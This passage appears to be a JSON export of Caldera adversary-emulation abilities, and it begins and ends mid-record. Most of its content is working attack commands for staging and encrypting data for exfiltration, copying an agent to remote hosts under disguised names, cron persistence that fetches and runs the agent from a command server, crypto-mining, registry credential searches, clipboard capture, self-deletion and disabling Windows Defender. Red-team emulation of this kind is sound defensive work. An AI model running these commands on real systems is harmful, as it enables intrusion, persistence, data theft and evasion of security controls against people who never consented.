\"C:\\Program Files\\7-Zip\\7z.exe\" a \"#{host.dir.staged}.7z\" \"#{host.dir.staged}\\*\" '-p#{host.archive.password}' | Out-Null;\nsleep 2;\n$Archive = Get-Item -Path \"#{host.dir.staged}.7z\";\n$StageDir = \"#{host.dir.staged}\";\n$BaseName = $StageDir + \"\\calderachunk\";\n$UpperBound = [int32]\"#{file.size.chunk}\";\n$Content = [IO.File]::OpenRead($Archive);\n$buff = New-Object byte[] $UpperBound;\n$Bytes = $idx = 0;\ntry {\n    do {\n        $Bytes = $Content.Read($buff, 0, $buff.Length);\n        if ($Bytes -gt 0) {\n            $ChunkName = \"{0}{1}\" -f ($BaseName, $idx.ToString().PadLeft(3,'0'));\n            $ChunkFile = [IO.File]::OpenWrite($ChunkName);\n            try {\n                $ChunkFile.Write($buff, 0, $Bytes);\n            } finally {\n                $ChunkFile.Close();\n            }\n        }\n        $idx ++;\n    } while ($Bytes -gt 0)\n}\nfinally {\n    $Content.Close();\n}\nRemove-Item $Archive;\nGet-ChildItem -Path \"$StageDir\\calderachunk*\" | foreach {$_.FullName} | Select-Object;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.compress", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["Get-ChildItem -Path \"$StageDir\\calderachunk*\" | Remove-Item;"], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.dir.staged"}]}], "privilege": "", "repeatable": false, "buckets": ["exfiltration"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "300157e5-f4ad-4569-b533-9d1fa0e74d74", "tactic": "exfiltration", "technique_name": "Archive Collected Data: Archive via Utility", "technique_id": "T1560.001", "name": "Compress staged directory", "description": "Compress a directory on the file system", "executors": [{"name": "sh", "platform": "darwin", "command": "tar -P -zcf #{host.dir.staged}.tar.gz #{host.dir.staged} && echo #{host.dir.staged}.tar.gz", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.compress", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["rm #{host.dir.staged}.tar.gz"], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "tar -P -zcf #{host.dir.staged}.tar.gz #{host.dir.staged} && echo #{host.dir.staged}.tar.gz", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.compress", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["rm #{host.dir.staged}.tar.gz"], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "Compress-Archive -Path #{host.dir.staged} -DestinationPath #{host.dir.staged}.zip -Force;\nsleep 1; ls #{host.dir.staged}.zip | foreach {$_.FullName} | select", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.compress", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["rm #{host.dir.staged}.zip"], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "Compress-Archive -Path #{host.dir.staged} -DestinationPath #{host.dir.staged}.zip -Force;\nsleep 1; ls #{host.dir.staged}.zip | foreach {$_.FullName} | select", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.compress", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["rm #{host.dir.staged}.zip"], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.dir.staged"}]}], "privilege": "", "repeatable": false, "buckets": ["exfiltration"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "30a8cf10-73dc-497c-8261-a64cc9e91505", "tactic": "collection", "technique_name": "Archive Collected Data: Archive via Utility", "technique_id": "T1560.001", "name": "Compress staged directory (Password Protected)", "description": "This ability packages staged files into a password-protected archive. Note - Requires 7Z for Windows and GPG version 2.1+ for Linux", "executors": [{"name": "sh", "platform": "linux", "command": "tar -C #{host.dir.staged} -czf - . | gpg -c --pinentry-mode=loopback --passphrase #{host.archive.password} > #{host.dir.staged}.tar.gz.gpg && echo #{host.dir.staged}.tar.gz.gpg", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.compress", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["rm #{host.dir.staged}.tar.gz.gpg"], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "& \"C:\\Program Files\\7-Zip\\7z.exe\" a \"#{host.dir.staged}.7z\" \"#{host.dir.staged}\\*\" \"-p#{host.archive.password}\" | Out-Null;\nsleep 1; ls #{host.dir.staged}.7z | foreach {$_.FullName} | select", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.compress", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["rm #{host.dir.staged}.7z"], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.dir.staged"}]}], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "65048ec1-f7ca-49d3-9410-10813e472b30", "tactic": "lateral-movement", "technique_name": "Remote Services: SMB/Windows Admin Shares", "technique_id": "T1021.002", "name": "Copy 54ndc47 (SMB)", "description": "Copy 54ndc47 to remote host (SMB)", "executors": [{"name": "psh", "platform": "windows", "command": "$path = \"sandcat.go-windows\";\n$drive = \"\\\\#{remote.host.fqdn}\\C$\";\nCopy-Item -v -Path $path -Destination $drive\"\\Users\\Public\\s4ndc4t.exe\";", "code": null, "language": null, "build_target": null, "payloads": ["sandcat.go-windows"], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.54ndc47_remote_copy", "parserconfigs": [{"source": "remote.host.fqdn", "edge": "has_54ndc47_copy", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["$drive = \"\\\\#{remote.host.fqdn}\\C$\";\nRemove-Item -Path $drive\"\\Users\\Public\\s4ndc4t.exe\" -Force;"], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.not_exists", "relationship_match": [{"source": "remote.host.fqdn", "edge": "has_54ndc47_copy"}]}, {"module": "plugins.stockpile.app.requirements.basic", "relationship_match": [{"source": "remote.host.fqdn", "edge": "has_share"}]}, {"module": "plugins.stockpile.app.requirements.no_backwards_movement", "relationship_match": [{"source": "remote.host.fqdn"}]}, {"module": "plugins.stockpile.app.requirements.reachable", "relationship_match": [{"source": "remote.host.fqdn", "edge": "isAccessibleFrom"}]}], "privilege": "", "repeatable": false, "buckets": ["lateral-movement"], "additional_info": {}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "4908fdc4-74fc-4d7c-8935-26d11ad26a8d", "tactic": "lateral-movement", "technique_name": "Lateral Tool Transfer", "technique_id": "T1570", "name": "Copy 54ndc47 (WinRM and SCP)", "description": "Copy 54ndc47 to remote host (powershell 5 or newer only) or SCP", "executors": [{"name": "psh", "platform": "windows", "command": "$job = Start-Job -ScriptBlock {\n  $username = \"#{domain.user.name}\";\n  $password = \"#{domain.user.password}\";\n  $secstr = New-Object -TypeName System.Security.SecureString;\n  $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};\n  $cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;\n  $session = New-PSSession -ComputerName \"#{remote.host.name}\" -Credential $cred;\n  $location = \"#{location}\";\n  $exe = \"#{exe_name}\";\n  Copy-Item $location -Destination \"C:\\Users\\Public\\svchost.exe\" -ToSession $session;\n  Start-Sleep -s 5;\n  Remove-PSSession -Session $session;\n};\nReceive-Job -Job $job -Wait;", "code": null, "language": null, "build_target": null, "payloads": ["sandcat.go-windows"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["$job = Start-Job -ScriptBlock {\n  $username = \"#{domain.user.name}\";\n  $password = \"#{domain.user.password}\";\n  $secstr = New-Object -TypeName System.Security.SecureString;\n  $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};\n  $cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;\n  $session = New-PSSession -ComputerName \"#{remote.host.name}\" -Credential $cred;\n  Invoke-Command -Session $session -Command {Remove-Item \"C:\\Users\\Public\\svchost.exe\" -force};\n  Start-Sleep -s 5;\n  Remove-PSSession -Session $session;\n};\nReceive-Job -Job $job -Wait;"], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "$job = Start-Job -ScriptBlock {\n  $username = \"#{domain.user.name}\";\n  $password = \"#{domain.user.password}\";\n  $secstr = New-Object -TypeName System.Security.SecureString;\n  $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};\n  $cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;\n  $session = New-PSSession -ComputerName \"#{remote.host.name}\" -Credential $cred;\n  $location = \"#{location}\";\n  $exe = \"#{exe_name}\";\n  Copy-Item $location -Destination \"C:\\Users\\Public\\svchost.exe\" -ToSession $session;\n  Start-Sleep -s 5;\n  Remove-PSSession -Session $session;\n};\nReceive-Job -Job $job -Wait;", "code": null, "language": null, "build_target": null, "payloads": ["sandcat.go-windows"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["$job = Start-Job -ScriptBlock {\n  $username = \"#{domain.user.name}\";\n  $password = \"#{domain.user.password}\";\n  $secstr = New-Object -TypeName System.Security.SecureString;\n  $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};\n  $cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;\n  $session = New-PSSession -ComputerName \"#{remote.host.name}\" -Credential $cred;\n  Invoke-Command -Session $session -Command {Remove-Item \"C:\\Users\\Public\\svchost.exe\" -force};\n  Start-Sleep -s 5;\n  Remove-PSSession -Session $session;\n};\nReceive-Job -Job $job -Wait;"], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "darwin", "command": "scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-darwin #{remote.ssh.cmd}:~/sandcat.go", "code": null, "language": null, "build_target": null, "payloads": ["sandcat.go-darwin"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["ssh -o ConnectTimeout=3 #{remote.ssh.cmd} 'rm -f sandcat.go'"], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-linux #{remote.ssh.cmd}:~/sandcat.go", "code": null, "language": null, "build_target": null, "payloads": ["sandcat.go-linux"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["ssh -o ConnectTimeout=3 -o StrictHostKeyChecking=no #{remote.ssh.cmd} 'rm -f sandcat.go'"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["lateral-movement"], "additional_info": {}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "b007fe0c-c6b0-4fda-915c-255bbc070de2", "tactic": "collection", "technique_name": "Clipboard Data", "technique_id": "T1115", "name": "Copy Clipboard", "description": "copy the contents for the clipboard and print them", "executors": [{"name": "sh", "platform": "darwin", "command": "pbpaste", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "Get-Clipboard -raw", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "Get-Clipboard -raw", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "xclip -o", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "3734aa1e-c536-42b3-8912-4c91b8bdce90", "tactic": "lateral-movement", "technique_name": "Remote Services: Windows Remote Management", "technique_id": "T1021.006", "name": "Copy Sandcat File using Powershell", "description": "Copy Sandcat file using PowerShell", "executors": [{"name": "psh", "platform": "windows", "command": "$server=\"#{server}\";\n$sharePath=\"#{share}\";\nSet-Location $sharePath;$url=\"$($server)/file/download\";\n$wc=New-Object System.Net.WebClient;$wc.Headers.add(\"platform\",\"windows\");\n$wc.Headers.add(\"file\",\"sandcat.go\");($data=$wc.DownloadData($url)) -and\n($name=$wc.ResponseHeaders[\"Content-Disposition\"].Substring($wc.ResponseHeaders[\"Content-Disposition\"].IndexOf(\"filename=\")+9).Replace(\"`\"\",\"\"))\n-and ([io.file]::WriteAllBytes(\"$($sharePath)$name.exe\",$data));\n$startServer=\"$($sharePath)$name.exe -server $($server) \";Invoke-Command\n-ScriptBlock {Param([string]$startServer, $sharePath, $name, $server)  Invoke-WmiMethod\n-Class Win32_Process -Name Create -ArgumentList \"$($sharePath)$name.exe\n-server $server -v\" } -ComputerName #{remote.host.name} -ArgumentList $startServer, $sharePath, $name, $server", "code": null, "language": null, "build_target": null, "payloads": ["sandcat.go-windows"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["del sandcat.go-windows; Invoke-Command -ComputerName"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["lateral-movement"], "additional_info": {}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "620b674a-7655-436c-b645-bc3e8ea51abd", "tactic": "lateral-movement", "technique_name": "Lateral Tool Transfer", "technique_id": "T1570", "name": "Copy Sandcat File using PsExec on CMD", "description": "Copy Sandcat file using PsExec on CMD", "executors": [{"name": "cmd", "platform": "windows", "command": "net /y use \\\\#{remote.host.name} & copy /y sandcat.go-windows\n\\\\#{remote.host.name}\\Users\\Public & #{psexec.path} -accepteula \\\\#{remote.host.name}\ncmd /c start C:\\Users\\Public\\sandcat.go-windows -server #{server} -v", "code": null, "language": null, "build_target": null, "payloads": ["sandcat.go-windows"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["del /f sandcat.go-windows && del /f \\\\#{remote.host.name}\\Users\\Public\\sandcat.go-windows.exe"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["lateral-movement"], "additional_info": {}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "831d5b9d-7867-4bca-98f5-bc235445614c", "tactic": "persistence", "technique_name": "Scheduled Task/Job: Cron", "technique_id": "T1503.003", "name": "Create persistence cron job for current user", "description": "After target host is rebooted, it will automatically reach out to the caldera server to download and execute the caldera agent, creating persistent access after reboot.", "executors": [{"name": "sh", "platform": "linux", "command": "if crontab -l &> /dev/null; then (crontab -l; echo '@reboot sleep 180 && server=\"http://#{caldera.server}:8888\"; curl -s -X POST -H \"file:sandcat.go\" -H \"platform:linux\" $server/file/download > /tmp/splunkd;chmod +x /tmp/splunkd;/tmp/./splunkd -server $server -group red -v') | crontab -; else echo '@reboot sleep 180 && server=\"http://#{caldera.server}:8888\";curl -s -X POST -H \"file:sandcat.go\" -H \"platform:linux\" $server/file/download > /tmp/splunkd;chmod +x /tmp/splunkd;/tmp/./splunkd -server $server -group red -v' | crontab -; fi", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["(crontab -l | grep -v '@reboot sleep 180 && server=\"http://#{caldera.server}:8888\"') | crontab - && rm /tmp/splunkd"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": [], "additional_info": {"cleanup": "[]"}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "0cd686c7-8d70-434e-a20c-2fc58f51a51a", "tactic": "persistence", "technique_name": "Scheduled Task/Job: Cron", "technique_id": "T1053.003", "name": "Create persistence cron job for root user (requires sudo)", "description": "After target host is rebooted, it will automatically reach out to the caldera server to download and execute the caldera agent, creating persistent root access after reboot.", "executors": [{"name": "sh", "platform": "linux", "command": "echo #{sudo.password} | sudo -S sh -c 'if crontab -l &> /dev/null; then (crontab -l; echo \"@reboot sleep 180 && server=\\\"http://#{caldera.server}:8888\\\"; curl -s -X POST -H \\\"file:sandcat.go\\\" -H \\\"platform:linux\\\" \\$server/file/download > /tmp/splunkd;chmod +x /tmp/splunkd;/tmp/./splunkd -server \\$server -group red -v\") | crontab -; else echo \"@reboot sleep 180 && server=\\\"http://#{caldera.server}:8888\\\";curl -s -X POST -H \\\"file:sandcat.go\\\" -H \\\"platform:linux\\\" \\$server/file/download > /tmp/splunkd;chmod +x /tmp/splunkd;/tmp/./splunkd -server \\$server -group red -v\" | crontab -; fi'", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["echo #{sudo.password} | sudo -S sh -c '(crontab -l | grep -v \"@reboot sleep 180 && server=\\\"http://#{caldera.server}:8888\\\"\") | crontab - && rm /tmp/splunkd'"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": [], "additional_info": {"cleanup": "[]"}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "6469befa-748a-4b9c-a96d-f191fde47d89", "tactic": "collection", "technique_name": "Data Staged: Local Data Staging", "technique_id": "T1074.001", "name": "Create staging directory", "description": "create a directory for exfil staging", "executors": [{"name": "sh", "platform": "darwin", "command": "mkdir -p staged && echo $PWD/staged", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.staged", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["rm -rf staged"], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "mkdir -p staged && echo $PWD/staged", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.staged", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["rm -rf staged"], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "New-Item -Path \".\" -Name \"staged\" -ItemType \"directory\" -Force | foreach {$_.FullName} | Select-Object", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.staged", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["Remove-Item -Path \"staged\" -recurse"], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "New-Item -Path \".\" -Name \"staged\" -ItemType \"directory\" -Force | foreach {$_.FullName} | Select-Object", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.staged", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["Remove-Item -Path \"staged\" -recurse"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "3aad5312-d48b-4206-9de4-39866c12e60f", "tactic": "credential-access", "technique_name": "Unsecured Credentials: Credentials in Registry", "technique_id": "T1552.002", "name": "Credentials in Registry - HKCU", "description": "Search for possible credentials stored in Registry", "executors": [{"name": "psh", "platform": "windows", "command": "reg query HKCU /f password /t REG_SZ /s", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["credential-access"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "98e58fc4-3843-4511-89b1-50cb872e0c9b", "tactic": "credential-access", "technique_name": "Unsecured Credentials: Credentials in Registry", "technique_id": "T1552.002", "name": "Credentials in Registry - HKLM", "description": "Search for possible credentials stored in the HKLM Hive", "executors": [{"name": "psh", "platform": "windows", "command": "reg query HKLM /f password /t REG_SZ /s", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["credential-access"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "46da2385-cf37-49cb-ba4b-a739c7a19de4", "tactic": "impact", "technique_name": "Resource Hijacking", "technique_id": "T1496", "name": "Crypto (Monero) Mining", "description": "Download and execute Monero miner (xmrig) for 1 minute", "executors": [{"name": "sh", "platform": "linux", "command": "wget https://github.com/xmrig/xmrig/releases/download/v6.11.2/xmrig-6.11.2-linux-x64.tar.gz;\ntar -xf xmrig-6.11.2-linux-x64.tar.gz;\ntimeout 60 ./xmrig-6.11.2/xmrig;\n[ $? -eq 124 ]", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 120, "parsers": [], "cleanup": ["rm -rf ./xmrig*;"], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "darwin", "command": "curl -OL https://github.com/xmrig/xmrig/releases/download/v6.11.2/xmrig-6.11.2-macos-x64.tar.gz;\ntar -xf xmrig-6.11.2-macos-x64.tar.gz;\nscreen -S miner -dm ./xmrig-6.11.2/xmrig;\nsleep 60s;\nkillall xmrig;\nscreen -S miner -X quit", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 120, "parsers": [], "cleanup": ["rm -rf ./xmrig*;"], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.11.2/xmrig-6.11.2-msvc-win64.zip -OutFile xmrig-6.11.2-msvc-win64.zip;\nExpand-Archive -LiteralPath xmrig-6.11.2-msvc-win64.zip -DestinationPath .\\;\nStart-Process \".\\xmrig-6.11.2\\xmrig.exe\" -WindowStyle Hidden;\nStart-Sleep -Seconds 60;\nStop-Process -Name \"xmrig\"", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 120, "parsers": [], "cleanup": ["rm ./xmrig* -r -fo;"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["impact"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "bd527b63-9f9e-46e0-9816-b8434d2b8989", "tactic": "discovery", "technique_name": "System Owner/User Discovery", "technique_id": "T1033", "name": "Current User", "description": "Obtain user from current session", "executors": [{"name": "sh", "platform": "darwin", "command": "whoami", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "whoami", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "whoami", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "5f844ac9-5f24-4196-a70d-17f0bd44a934", "tactic": "defense-evasion", "technique_name": "Indicator Removal on Host: File Deletion", "technique_id": "T1070.004", "name": "Deadman - Delete agent file", "description": "Deadman ability to delete agent file after termination.", "executors": [{"name": "psh", "platform": "windows", "command": "$startupClass = Get-CimClass -ClassName Win32_ProcessStartup;\n$startupInfo = New-CimInstance -CimClass $startupClass -Property @{ShowWindow = 0} -ClientOnly;\n$processClass = Get-CimClass -ClassName Win32_Process;\nInvoke-CimMethod -CimClass $processClass -MethodName Create -Arguments @{\n    Commandline = 'cmd.exe /c \"timeout /nobreak /t 10 >nul 2>nul & del /f #{location}\"';\n    ProcessStartupInformation = [CimInstance]$startupInfo\n};", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "darwin", "command": "path=\"$(pwd)/#{exe_name}\";\nnum_processes=$(for id in $(pgrep -f #{exe_name}); do lsof -p $id 2> /dev/null | grep \"$path\"; done | wc -l);\nif [ \"$num_processes\" -le 1 ]; then /bin/rm -f \"$path\"; fi;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "path=\"$(pwd)/#{exe_name}\";\nnum_processes=$(for id in $(pgrep -f #{exe_name}); do lsof -p $id 2> /dev/null | grep \"$path\"; done | wc -l);\nif [ \"$num_processes\" -le 1 ]; then /bin/rm -f \"$path\"; fi;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["defense-evasion"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "4cd4eb44-29a7-4259-91ae-e457b283a880", "tactic": "defense-evasion", "technique_name": "Indicator Removal on Host: File Deletion", "technique_id": "T1070.004", "name": "Delete payload", "description": "Remove a downloaded payload file", "executors": [{"name": "sh", "platform": "darwin", "command": null, "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["rm #{payload}"], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": null, "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["rm #{payload}"], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": null, "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["Remove-Item -Force -Path \"#{payload}\""], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": null, "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["Remove-Item -Force -Path \"#{payload}\""], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["defense-evasion"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "b007f6e8-4a87-4440-8888-29ceab047d9b", "tactic": "defense-evasion", "technique_name": "Impair Defenses: Disable or Modify Tools", "technique_id": "T1562.001", "name": "Disable Windows Defender All", "description": "Disable Windows Defender All", "executors": [{"name": "psh", "platform": "windows", "command": "Set-MpPreference -DisableIntrusionPreventionSystem $true;\nSet-MpPreference -DisableIOAVProtection $true;\nSet-MpPreference -DisableRealtimeMonitoring $true;\nSet-MpPreference -DisableScriptScanning $true;\nSet-MpPreference -EnableControlledFolderAccess Disabled;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["Set-MpPreference -DisableIntrusionPreventionSystem $false;\nSet-MpPreference -DisableIOAVProtection $false;\nSet-MpPreference -DisableRealtimeMonitoring $false;\nSet-MpPreference -DisableScriptScanning $false;\nSet-MpPreference -EnableControlledFolderAccess Enabled;"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "Elevated", "repeatable": false, "buckets": ["defense-evasion"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "49470433-30ce-4714-a44b-bea9dbbeca9a", "tactic": "defense-evasion", "technique_name": "Impair Defenses: Disable or Modify Tools", "technique_id": "T1562.001", "name": "Disable Windows Defender Real-Time Protection", "description": "Disable Windows Defender Real-Time Protection", "executors": [{"name": "psh", "platform": "windows", "command": "if (Get-Command \"Set-MPPreference\" -ErrorAction SilentlyContinue) {\n  Set-MPPreference -DisableRealtimeMonitoring 1;\n} else {\n  $service = Get-Service WinDefend -ErrorAction SilentlyContinue;\n  if ($service) {\n    if ($service.Status -eq \"Running\") {\n      Stop-Service WinDefend;\n    }\n  } else {\n    echo \"Windows Defender service not found.\";\n    exit 1;\n  };\n};", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["if (Get-Command \"Set-MPPreference\" -ErrorAction SilentlyContinue) { Set-MPPreference -DisableRealtimeMonitoring 0; } else { $service = Get-Service WinDefend -ErrorAction SilentlyContinue; if ($service) { Start-Service WinDefend; } else { echo \"Windows 